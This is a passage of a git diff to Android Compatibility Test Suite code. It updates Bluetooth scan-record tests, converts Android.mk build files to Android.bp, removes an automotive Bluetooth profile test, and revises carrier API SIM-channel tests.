+                0x05, 0x14, 0x0c, 0x11, 0x0d, 0x11, // 16 bit service solicitation uuids
                 0x03, 0x50, 0x01, 0x02, // an unknown data type won't cause trouble
         };
         ScanRecord data = TestUtils.parseScanRecord(scanRecord);
         assertEquals(0x1a, data.getAdvertiseFlags());
         ParcelUuid uuid1 = ParcelUuid.fromString("0000110A-0000-1000-8000-00805F9B34FB");
         ParcelUuid uuid2 = ParcelUuid.fromString("0000110B-0000-1000-8000-00805F9B34FB");
+        ParcelUuid uuid3 = ParcelUuid.fromString("0000110C-0000-1000-8000-00805F9B34FB");
+        ParcelUuid uuid4 = ParcelUuid.fromString("0000110D-0000-1000-8000-00805F9B34FB");
         assertTrue(data.getServiceUuids().contains(uuid1));
         assertTrue(data.getServiceUuids().contains(uuid2));
+        assertFalse(data.getServiceUuids().contains(uuid3));
+        assertFalse(data.getServiceUuids().contains(uuid4));
+        assertFalse(data.getServiceSolicitationUuids().contains(uuid1));
+        assertFalse(data.getServiceSolicitationUuids().contains(uuid2));
+        assertTrue(data.getServiceSolicitationUuids().contains(uuid3));
+        assertTrue(data.getServiceSolicitationUuids().contains(uuid4));
 
         assertEquals("Ped", data.getDeviceName());
         assertEquals(-20, data.getTxPowerLevel());
diff --git a/tests/tests/calendarcommon/Android.bp b/tests/tests/calendarcommon/Android.bp
new file mode 100644
index 0000000..5b2504d
--- /dev/null
+++ b/tests/tests/calendarcommon/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsCalendarcommon2TestCases",
+    defaults: ["cts_defaults"],
+    static_libs: ["ctstestrunner-axt"],
+    libs: ["android.test.base.stubs"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    min_sdk_version: "15",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/calendarcommon/Android.mk b/tests/tests/calendarcommon/Android.mk
deleted file mode 100644
index 3d7c046..0000000
--- a/tests/tests/calendarcommon/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Replace "Example" with your name.
-LOCAL_PACKAGE_NAME := CtsCalendarcommon2TestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/car/AndroidManifest.xml b/tests/tests/car/AndroidManifest.xml
index 6399af5..f1df507 100644
--- a/tests/tests/car/AndroidManifest.xml
+++ b/tests/tests/car/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <uses-permission android:name="android.car.permission.CAR_INFO" />
     <uses-permission android:name="android.car.permission.CAR_POWERTRAIN" />
     <uses-permission android:name="android.car.permission.CAR_SPEED" />
-    <uses-permission android:name="android.permission.BLUETOOTH" />
-    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
     <application>
         <uses-library android:name="android.test.runner" />
         <activity android:name=".drivingstate.DistractionOptimizedActivity">
diff --git a/tests/tests/car/src/android/car/cts/CarBluetoothTest.java b/tests/tests/car/src/android/car/cts/CarBluetoothTest.java
deleted file mode 100644
index ac12ce4..0000000
--- a/tests/tests/car/src/android/car/cts/CarBluetoothTest.java
+++ /dev/null
@@ -1,365 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.car.cts;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-
-import android.bluetooth.BluetoothAdapter;
-import android.bluetooth.BluetoothManager;
-import android.bluetooth.BluetoothProfile;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.suitebuilder.annotation.SmallTest;
-import android.util.Log;
-import android.util.SparseArray;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.FeatureUtil;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.locks.Condition;
-import java.util.concurrent.locks.ReentrantLock;
-
-/**
- * Contains the tests to prove compliance with android automotive specific bluetooth requirements.
- */
-@SmallTest
-@RequiresDevice
-@RunWith(AndroidJUnit4.class)
-public class CarBluetoothTest {
-    private static final String TAG = "CarBluetoothTest";
-    private static final boolean DBG = false;
-    private Context mContext;
-
-    // Bluetooth Core objects
-    private BluetoothManager mBluetoothManager;
-    private BluetoothAdapter mBluetoothAdapter;
-
-    // Timeout for waiting for an adapter state change
-    private static final int BT_ADAPTER_TIMEOUT_MS = 8000; // ms
-
-    // Objects to block until the adapter has reached a desired state
-    private ReentrantLock mBluetoothAdapterLock;
-    private Condition mConditionAdapterStateReached;
-    private int mDesiredState;
-    private int mOriginalState;
-
-    /**
-     * Handles BluetoothAdapter state changes and signals when we've reached a desired state
-     */
-    private class BluetoothAdapterReceiver extends BroadcastReceiver {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-
-            // Decode the intent
-            String action = intent.getAction();
-
-            // Watch for BluetoothAdapter intents only
-            if (BluetoothAdapter.ACTION_STATE_CHANGED.equals(action)) {
-                int newState = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);
-                if (DBG) {
-                    Log.d(TAG, "Bluetooth adapter state changed: " + newState);
-                }
-
-                // Signal if the state is set to the one we're waiting on. If its not and we got a
-                // STATE_OFF event then handle the unexpected off event. Note that we could
-                // proactively turn the adapter back on to continue testing. For now we'll just
-                // log it
-                mBluetoothAdapterLock.lock();
-                try {
-                    if (mDesiredState == newState) {
-                        mConditionAdapterStateReached.signal();
-                    } else if (newState == BluetoothAdapter.STATE_OFF) {
-                        Log.w(TAG, "Bluetooth turned off unexpectedly while test was running.");
-                    }
-                } finally {
-                    mBluetoothAdapterLock.unlock();
-                }
-            }
-        }
-    }
-    private BluetoothAdapterReceiver mBluetoothAdapterReceiver;
-
-    private void waitForAdapterOn() {
-        if (DBG) {
-            Log.d(TAG, "Waiting for adapter to be on...");
-        }
-        waitForAdapterState(BluetoothAdapter.STATE_ON);
-    }
-
-    private void waitForAdapterOff() {
-        if (DBG) {
-            Log.d(TAG, "Waiting for adapter to be off...");
-        }
-        waitForAdapterState(BluetoothAdapter.STATE_OFF);
-    }
-
-    // Wait for the bluetooth adapter to be in a given state
-    private void waitForAdapterState(int desiredState) {
-        if (DBG) {
-            Log.d(TAG, "Waiting for adapter state " + desiredState);
-        }
-        mBluetoothAdapterLock.lock();
-        try {
-            // Update the desired state so that we'll signal when we get there
-            mDesiredState = desiredState;
-            if (desiredState == BluetoothAdapter.STATE_ON) {
-                mBluetoothAdapter.enable();
-            } else {
-                mBluetoothAdapter.disable();
-            }
-
-            // Wait until we're reached that desired state
-            while (desiredState != mBluetoothAdapter.getState()) {
-                if (!mConditionAdapterStateReached.await(
-                    BT_ADAPTER_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
-                    Log.e(TAG, "Timeout while waiting for Bluetooth adapter state " + desiredState);
-                    break;
-                }
-            }
-        } catch (InterruptedException e) {
-            Log.w(TAG, "waitForAdapterState(" + desiredState + "): interrupted", e);
-        } finally {
-            mBluetoothAdapterLock.unlock();
-        }
-    }
-
-    // Utility class to hold profile information and state
-    private static class ProfileInfo {
-        final String mName;
-        boolean mConnected;
-
-        public ProfileInfo(String name) {
-            mName = name;
-            mConnected = false;
-        }
-    }
-
-    // Automotive required profiles and meta data. Profile defaults to 'not connected' and name
-    // is used in debug and error messages
-    private static SparseArray<ProfileInfo> sRequiredBluetoothProfiles = new SparseArray();
-    static {
-        sRequiredBluetoothProfiles.put(BluetoothProfile.A2DP_SINK,
-                new ProfileInfo("A2DP Sink")); // 11
-        sRequiredBluetoothProfiles.put(BluetoothProfile.AVRCP_CONTROLLER,
-                new ProfileInfo("AVRCP Controller")); // 12
-        sRequiredBluetoothProfiles.put(BluetoothProfile.HEADSET_CLIENT,
-                new ProfileInfo("HSP Client")); // 16
-        sRequiredBluetoothProfiles.put(BluetoothProfile.PBAP_CLIENT,
-                new ProfileInfo("PBAP Client")); // 17
-    }
-    private static final int MAX_PROFILES_SUPPORTED = sRequiredBluetoothProfiles.size();
-
-    // Configurable timeout for waiting for profile proxies to connect
-    private static final int PROXY_CONNECTIONS_TIMEOUT_MS = 1000; // ms
-
-    // Objects to block until all profile proxy connections have finished, or the timeout occurs
-    private Condition mConditionAllProfilesConnected;
-    private ReentrantLock mProfileConnectedLock;
-    private int mProfilesSupported;
-
-    // Capture profile proxy connection events
-    private final class ProfileServiceListener implements BluetoothProfile.ServiceListener {
-        @Override
-        public void onServiceConnected(int profile, BluetoothProfile proxy) {
-            if (DBG) {
-                Log.d(TAG, "Profile '" + profile + "' has connected");
-            }
-            mProfileConnectedLock.lock();
-            try {
-                sRequiredBluetoothProfiles.get(profile).mConnected = true;
-                mProfilesSupported++;
-                if (mProfilesSupported == MAX_PROFILES_SUPPORTED) {
-                    mConditionAllProfilesConnected.signal();
-                }
-            } finally {
-                mProfileConnectedLock.unlock();
-            }
-        }
-
-        @Override
-        public void onServiceDisconnected(int profile) {
-            if (DBG) {
-                Log.d(TAG, "Profile '" + profile + "' has disconnected");
-            }
-            mProfileConnectedLock.lock();
-            try {
-                sRequiredBluetoothProfiles.get(profile).mConnected = false;
-                mProfilesSupported--;
-            } finally {
-                mProfileConnectedLock.unlock();
-            }
-        }
-    }
-
-    // Initiate connections to all profiles and wait until we connect to all, or time out
-    private void waitForProfileConnections() {
-        if (DBG) {
-            Log.d(TAG, "Starting profile proxy connections...");
-        }
-        mProfileConnectedLock.lock();
-        try {
-            // Attempt connection to each required profile
-            for (int i = 0; i < sRequiredBluetoothProfiles.size(); i++) {
-                int profile = sRequiredBluetoothProfiles.keyAt(i);
-                mBluetoothAdapter.getProfileProxy(mContext, new ProfileServiceListener(), profile);
-            }
-
-            // Wait for the Adapter to be disabled
-            while (mProfilesSupported != MAX_PROFILES_SUPPORTED) {
-                if (!mConditionAllProfilesConnected.await(
-                    PROXY_CONNECTIONS_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
-                    Log.e(TAG, "Timeout while waiting for Profile Connections");
-                    break;
-                }
-            }
-        } catch (InterruptedException e) {
-            Log.w(TAG, "waitForProfileConnections: interrupted", e);
-        } finally {
-            mProfileConnectedLock.unlock();
-        }
-
-        if (DBG) {
-            Log.d(TAG, "Proxy connection attempts complete. Connected " + mProfilesSupported
-                    + "/" + MAX_PROFILES_SUPPORTED + " profiles");
-        }
-    }
-
-    // Check and make sure each profile is connected. If any are not supported then build an
-    // error string to report each missing profile and assert a failure
-    private void checkProfileConnections() {
-        if (DBG) {
-            Log.d(TAG, "Checking for all required profiles");
-        }
-        mProfileConnectedLock.lock();
-        try {
-            if (mProfilesSupported != MAX_PROFILES_SUPPORTED) {
-                if (DBG) {
-                    Log.d(TAG, "Some profiles failed to connect");
-                }
-                StringBuilder e = new StringBuilder();
-                for (int i = 0; i < sRequiredBluetoothProfiles.size(); i++) {
-                    int profile = sRequiredBluetoothProfiles.keyAt(i);
-                    String name = sRequiredBluetoothProfiles.get(profile).mName;
-                    if (!sRequiredBluetoothProfiles.get(profile).mConnected) {
-                        if (e.length() == 0) {
-                            e.append("Missing Profiles: ");
-                        } else {
-                            e.append(", ");
-                        }
-                        e.append(name + " (" + profile + ")");
-
-                        if (DBG) {
-                            Log.d(TAG, name + " failed to connect");
-                        }
-                    }
-                }
-                fail(e.toString());
-            }
-        } finally {
-            mProfileConnectedLock.unlock();
-        }
-    }
-
-    // Set the connection status for each profile to false
-    private void clearProfileStatuses() {
-        if (DBG) {
-            Log.d(TAG, "Setting all profiles to 'disconnected'");
-        }
-        for (int i = 0; i < sRequiredBluetoothProfiles.size(); i++) {
-            int profile = sRequiredBluetoothProfiles.keyAt(i);
-            sRequiredBluetoothProfiles.get(profile).mConnected = false;
-        }
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        if (DBG) {
-            Log.d(TAG, "Setting up Automotive Bluetooth test. Device is "
-                    + (FeatureUtil.isAutomotive() ? "" : "not ") + "automotive");
-        }
-
-        // Automotive only
-        assumeTrue(FeatureUtil.isAutomotive());
-
-        // Get the context
-        mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
-
-        // Get bluetooth core objects so we can get proxies/check for profile existence
-        mBluetoothManager = (BluetoothManager) mContext.getSystemService(
-                Context.BLUETOOTH_SERVICE);
-        mBluetoothAdapter = mBluetoothManager.getAdapter();
-
-        // Initialize all the profile connection variables
-        mProfilesSupported = 0;
-        mProfileConnectedLock = new ReentrantLock();
-        mConditionAllProfilesConnected = mProfileConnectedLock.newCondition();
-        clearProfileStatuses();
-
-        // Register the adapter receiver and initialize adapter state wait objects
-        mDesiredState = -1; // Set and checked by waitForAdapterState()
-        mBluetoothAdapterLock = new ReentrantLock();
-        mConditionAdapterStateReached = mBluetoothAdapterLock.newCondition();
-        mBluetoothAdapterReceiver = new BluetoothAdapterReceiver();
-        IntentFilter filter = new IntentFilter(BluetoothAdapter.ACTION_STATE_CHANGED);
-        mContext.registerReceiver(mBluetoothAdapterReceiver, filter);
-
-        // Make sure Bluetooth is enabled before the test
-        waitForAdapterOn();
-        assertTrue(mBluetoothAdapter.isEnabled());
-    }
-
-    @After
-    public void tearDown() {
-        waitForAdapterOff();
-        mContext.unregisterReceiver(mBluetoothAdapterReceiver);
-    }
-
-    // [A-0-2] : Android Automotive devices must support the following Bluetooth profiles:
-    //  * Hands Free Profile (HFP) [Phone calling]
-    //  * Audio Distribution Profile (A2DP) [Media playback]
-    //  * Audio/Video Remote Control Profile (AVRCP) [Media playback control]
-    //  * Phone Book Access Profile (PBAP) [Contact sharing/receiving]
-    //
-    // This test fires off connections to each required profile (which are asynchronous in nature)
-    // and waits for all of them to connect (proving they are there and implemented), or for the
-    // configured timeout. If all required profiles connect, the test passes.
-    @Test
-    @CddTest(requirement = "7.4.3/A-0-2")
-    public void testRequiredBluetoothProfilesExist() throws Exception {
-        if (DBG) {
-            Log.d(TAG, "Begin testRequiredBluetoothProfilesExist()");
-        }
-        assertNotNull(mBluetoothAdapter);
-        waitForProfileConnections();
-        checkProfileConnections();
-    }
-}
diff --git a/tests/tests/carrierapi/Android.bp b/tests/tests/carrierapi/Android.bp
new file mode 100644
index 0000000..be6215e
--- /dev/null
+++ b/tests/tests/carrierapi/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsCarrierApiTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "junit",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    // This  APK must be signed to match the test SIM's cert whitelist.
+    // While "testkey" is the default, there are different per-device testkeys, so
+    // hard-code the AOSP default key to ensure it is used regardless of build
+    // environment.
+    certificate: ":aosp-testkey",
+}
diff --git a/tests/tests/carrierapi/Android.mk b/tests/tests/carrierapi/Android.mk
deleted file mode 100644
index b0a0c78..0000000
--- a/tests/tests/carrierapi/Android.mk
+++ /dev/null
@@ -1,47 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    junit
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsCarrierApiTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_LIBRARIES += android.test.runner.stubs telephony-common
-LOCAL_JAVA_LIBRARIES += android.test.base.stubs
-
-# This APK must be signed to match the test SIM's cert whitelist.
-# While "testkey" is the default, there are different per-device testkeys, so
-# hard-code the AOSP default key to ensure it is used regardless of build
-# environment.
-LOCAL_CERTIFICATE := build/make/target/product/security/testkey
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/carrierapi/AndroidManifest.xml b/tests/tests/carrierapi/AndroidManifest.xml
index dffc7f1..ea3c053 100644
--- a/tests/tests/carrierapi/AndroidManifest.xml
+++ b/tests/tests/carrierapi/AndroidManifest.xml
@@ -15,9 +15,10 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.carrierapi.cts">
+    package="android.carrierapi.cts"
+    android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
 
diff --git a/tests/tests/carrierapi/AndroidTest.xml b/tests/tests/carrierapi/AndroidTest.xml
index 507d2a2..2f445eb 100644
--- a/tests/tests/carrierapi/AndroidTest.xml
+++ b/tests/tests/carrierapi/AndroidTest.xml
@@ -14,8 +14,11 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Carrier APIs test cases">
-    <option name="test-suite-tag" value="cts" />
+  <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <option name="config-descriptor:metadata" key="token" value="UICC_SIM_CARD" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.TokenRequirement">
         <option name="token" value="sim-card-with-certs" />
@@ -26,6 +29,5 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.carrierapi.cts" />
-        <option name="hidden-api-checks" value="false"/>
     </test>
 </configuration>
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index ee35eed..665457f 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -16,6 +16,16 @@
 
 package android.carrierapi.cts;
 
+import static android.carrierapi.cts.FcpTemplate.FILE_IDENTIFIER;
+import static android.carrierapi.cts.IccUtils.bytesToHexString;
+import static android.carrierapi.cts.IccUtils.hexStringToBytes;
+import static android.telephony.IccOpenLogicalChannelResponse.INVALID_CHANNEL;
+import static android.telephony.IccOpenLogicalChannelResponse.STATUS_NO_ERROR;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+
 import android.content.BroadcastReceiver;
 import android.content.ContentProviderClient;
 import android.content.ContentValues;
@@ -25,13 +35,15 @@
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.database.Cursor;
-import android.net.ConnectivityManager;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.PersistableBundle;
+import android.provider.Telephony;
 import android.provider.VoicemailContract;
 import android.telephony.CarrierConfigManager;
+import android.telephony.IccOpenLogicalChannelResponse;
 import android.telephony.PhoneStateListener;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
@@ -39,16 +51,19 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
-import com.android.internal.telephony.TelephonyIntents;
-import com.android.internal.telephony.uicc.IccUtils;
-
 import java.security.MessageDigest;
 import java.security.NoSuchAlgorithmException;
+import java.util.Arrays;
+import java.util.HashSet;
 import java.util.List;
+import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
 
+import javax.annotation.Nonnull;
+
+// TODO(b/130187425): Split CarrierApiTest apart to have separate test classes for functionality
 public class CarrierApiTest extends AndroidTestCase {
     private static final String TAG = "CarrierApiTest";
     private TelephonyManager mTelephonyManager;
@@ -65,15 +80,63 @@
     private HandlerThread mListenerThread;
 
     private static final String FiDevCert = "24EB92CBB156B280FA4E1429A6ECEEB6E5C1BFE4";
+    // The minimum allocatable logical channel number, per TS 102 221 Section 11.1.17.1
+    private static final int MIN_LOGICAL_CHANNEL = 1;
+    // The maximum allocatable logical channel number in the standard range, per TS 102 221 Section
+    // 11.1.17.1
+    private static final int MAX_LOGICAL_CHANNEL = 3;
+    // Class bytes. The logical channel used should be included for bits b2b1. TS 102 221 Table 11.5
+    private static final int CLA_GET_RESPONSE = 0x00;
+    private static final int CLA_MANAGE_CHANNEL = 0x00;
+    private static final int CLA_READ_BINARY = 0x00;
+    private static final int CLA_SELECT = 0x00;
+    private static final int CLA_STATUS = 0x80;
+    private static final String CLA_STATUS_STRING = "80";
+    // APDU Instruction Bytes. TS 102 221 Section 10.1.2
+    private static final int COMMAND_GET_RESPONSE = 0xC0;
+    private static final int COMMAND_MANAGE_CHANNEL = 0x70;
+    private static final int COMMAND_READ_BINARY = 0xB0;
+    private static final int COMMAND_SELECT = 0xA4;
+    private static final int COMMAND_STATUS = 0xF2;
+    private static final String COMMAND_STATUS_STRING = "F2";
+    // Status words. TS 102 221 Section 10.2.1
+    private static final byte[] STATUS_NORMAL = {(byte) 0x90, (byte) 0x00};
+    private static final String STATUS_NORMAL_STRING = "9000";
+    private static final String STATUS_BYTES_REMAINING = "61";
+    private static final String STATUS_WARNING_A = "62";
+    private static final String STATUS_WARNING_B = "63";
+    private static final String STATUS_FILE_NOT_FOUND = "6a82";
+    private static final String STATUS_INCORRECT_PARAMETERS = "6a86";
+    private static final String STATUS_WRONG_PARAMETERS = "6b00";
+    private static final Set<String> INVALID_PARAMETERS_STATUSES =
+            new HashSet<>(Arrays.asList(STATUS_INCORRECT_PARAMETERS, STATUS_WRONG_PARAMETERS));
+    private static final String STATUS_WRONG_CLASS = "6e00";
+    // File ID for the EF ICCID. TS 102 221
+    private static final String ICCID_FILE_ID = "2FE2";
+    // File ID for the master file. TS 102 221
+    private static final String MF_FILE_ID = "3F00";
+    private static final int MF_FILE_ID_HEX = 0x3F00;
+    // File ID for the MF Access Rule Reference. TS 102 221
+    private static final String MF_ARR_FILE_ID = "2F06";
+    private static final String ALPHA_TAG_A = "tagA";
+    private static final String ALPHA_TAG_B = "tagB";
+    private static final String NUMBER_A = "1234567890";
+    private static final String NUMBER_B = "0987654321";
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+        mPackageManager = getContext().getPackageManager();
         mTelephonyManager = (TelephonyManager)
                 getContext().getSystemService(Context.TELEPHONY_SERVICE);
+        hasCellular = hasCellular();
+        if (!hasCellular) {
+            Log.e(TAG, "No cellular support, all tests will be skipped.");
+            return;
+        }
+
         mCarrierConfigManager = (CarrierConfigManager)
                 getContext().getSystemService(Context.CARRIER_CONFIG_SERVICE);
-        mPackageManager = getContext().getPackageManager();
         mSubscriptionManager = (SubscriptionManager)
                 getContext().getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
         selfPackageName = getContext().getPackageName();
@@ -86,14 +149,24 @@
                 .acquireContentProviderClient(mStatusContentUri);
         mListenerThread = new HandlerThread("CarrierApiTest");
         mListenerThread.start();
-        hasCellular = hasCellular();
-        if (!hasCellular) {
-            Log.e(TAG, "No cellular support, all tests will be skipped.");
+
+        // We need to close all logical channels in the standard range, [1, 3], before each test.
+        // This makes sure each SIM-related test starts with a clean slate.
+        for (int i = MIN_LOGICAL_CHANNEL; i <= MAX_LOGICAL_CHANNEL; i++) {
+            mTelephonyManager.iccCloseLogicalChannel(i);
         }
     }
 
     @Override
     public void tearDown() throws Exception {
+        if (!hasCellular) return;
+
+        // We need to close all logical channels in the standard range, [1, 3], after each test.
+        // This makes sure each SIM-related test releases any opened channels. Channels should only
+        // be closed for devices that have cellular capabilities.
+        for (int i = MIN_LOGICAL_CHANNEL; i <= MAX_LOGICAL_CHANNEL; i++) {
+            mTelephonyManager.iccCloseLogicalChannel(i);
+        }
         mListenerThread.quit();
         try {
             mStatusProvider.delete(mStatusContentUri, null, null);
@@ -108,10 +181,8 @@
      * Checks whether the cellular stack should be running on this device.
      */
     private boolean hasCellular() {
-        ConnectivityManager mgr =
-                (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
-        return mgr.isNetworkSupported(ConnectivityManager.TYPE_MOBILE) &&
-               mTelephonyManager.isVoiceCapable();
+        return mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY) &&
+                mTelephonyManager.getPhoneCount() > 0;
     }
 
     private boolean isSimCardPresent() {
@@ -124,7 +195,7 @@
             PackageInfo pInfo = mPackageManager.getPackageInfo(pkgName,
                     PackageManager.GET_SIGNATURES | PackageManager.GET_DISABLED_UNTIL_USED_COMPONENTS);
             MessageDigest md = MessageDigest.getInstance("SHA-1");
-            return IccUtils.bytesToHexString(md.digest(pInfo.signatures[0].toByteArray()));
+            return bytesToHexString(md.digest(pInfo.signatures[0].toByteArray()));
         } catch (PackageManager.NameNotFoundException ex) {
             Log.e(TAG, pkgName + " not found", ex);
         } catch (NoSuchAlgorithmException ex) {
@@ -184,12 +255,13 @@
         try {
             IntentReceiver intentReceiver = new IntentReceiver();
             final IntentFilter intentFilter = new IntentFilter();
-            intentFilter.addAction(TelephonyIntents.SECRET_CODE_ACTION);
+            intentFilter.addAction(Telephony.Sms.Intents.SECRET_CODE_ACTION);
             intentFilter.addDataScheme("android_secret_code");
             getContext().registerReceiver(intentReceiver, intentFilter);
 
             mTelephonyManager.sendDialerSpecialCode("4636");
-            assertTrue("Did not receive expected Intent: " + TelephonyIntents.SECRET_CODE_ACTION,
+            assertTrue("Did not receive expected Intent: " +
+                    Telephony.Sms.Intents.SECRET_CODE_ACTION,
                     intentReceiver.waitForReceive());
         } catch (SecurityException e) {
             failMessage();
@@ -212,7 +284,7 @@
                 TelephonyManager tm =
                         mTelephonyManager.createForSubscriptionId(info.getSubscriptionId());
                 assertTrue("getActiveSubscriptionInfoList() returned an inaccessible subscription",
-                        tm.hasCarrierPrivileges(info.getSubscriptionId()));
+                        tm.hasCarrierPrivileges());
 
                 // Check other APIs to make sure they are accessible and return consistent info.
                 SubscriptionInfo infoForSlot =
@@ -259,11 +331,8 @@
         try {
             mTelephonyManager.getDeviceSoftwareVersion();
             mTelephonyManager.getDeviceId();
-            mTelephonyManager.getDeviceId(mTelephonyManager.getSlotIndex());
             mTelephonyManager.getImei();
